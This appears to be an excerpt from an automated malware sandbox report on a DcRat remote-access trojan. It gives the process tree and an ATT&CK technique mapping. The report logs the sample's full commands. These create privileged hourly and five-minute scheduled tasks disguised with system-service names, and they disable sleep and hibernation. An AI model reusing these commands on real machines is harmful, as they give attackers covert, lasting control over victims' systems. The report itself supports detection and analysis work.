"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostServices_bk610" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
3⤵
PID:3556

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostServices_bk610" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
- DcRat
- Creates scheduled task(s)
PID:2608

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "Agent Activation Runtime\Agent Activation RuntimeServices_bk60" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
3⤵
PID:4460

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "Agent Activation Runtime\Agent Activation RuntimeServices_bk60" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
- DcRat
- Creates scheduled task(s)
PID:4996

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off & SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRule" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
3⤵
PID:1556

C:\Windows\SysWOW64\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:5052

C:\Windows\SysWOW64\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2644

C:\Windows\SysWOW64\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4380

C:\Windows\SysWOW64\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4412

C:\Windows\SysWOW64\powercfg.exe
powercfg /hibernate off
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4100

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRule" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
- DcRat
- Creates scheduled task(s)
PID:4260

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRuntime" /TR "C:\ProgramData\RuntimeBrokerData\RegSvc.exe" /f
3⤵
PID:2312

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRuntime" /TR "C:\ProgramData\RuntimeBrokerData\RegSvc.exe" /f
4⤵
- DcRat
- Creates scheduled task(s)
PID:3952

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesServices_bk484" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
3⤵
PID:2884

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesServices_bk484" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
- DcRat
- Creates scheduled task(s)
PID:3604

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5016

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2396

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4992

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1288

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:5088

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:424

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 360 -p 2092 -ip 2092
1⤵
PID:1028

C:\Users\Admin\AppData\Local\Temp\8682d6c68d\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\8682d6c68d\nbveek.exe
1⤵
- Executes dropped EXE
PID:2440

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery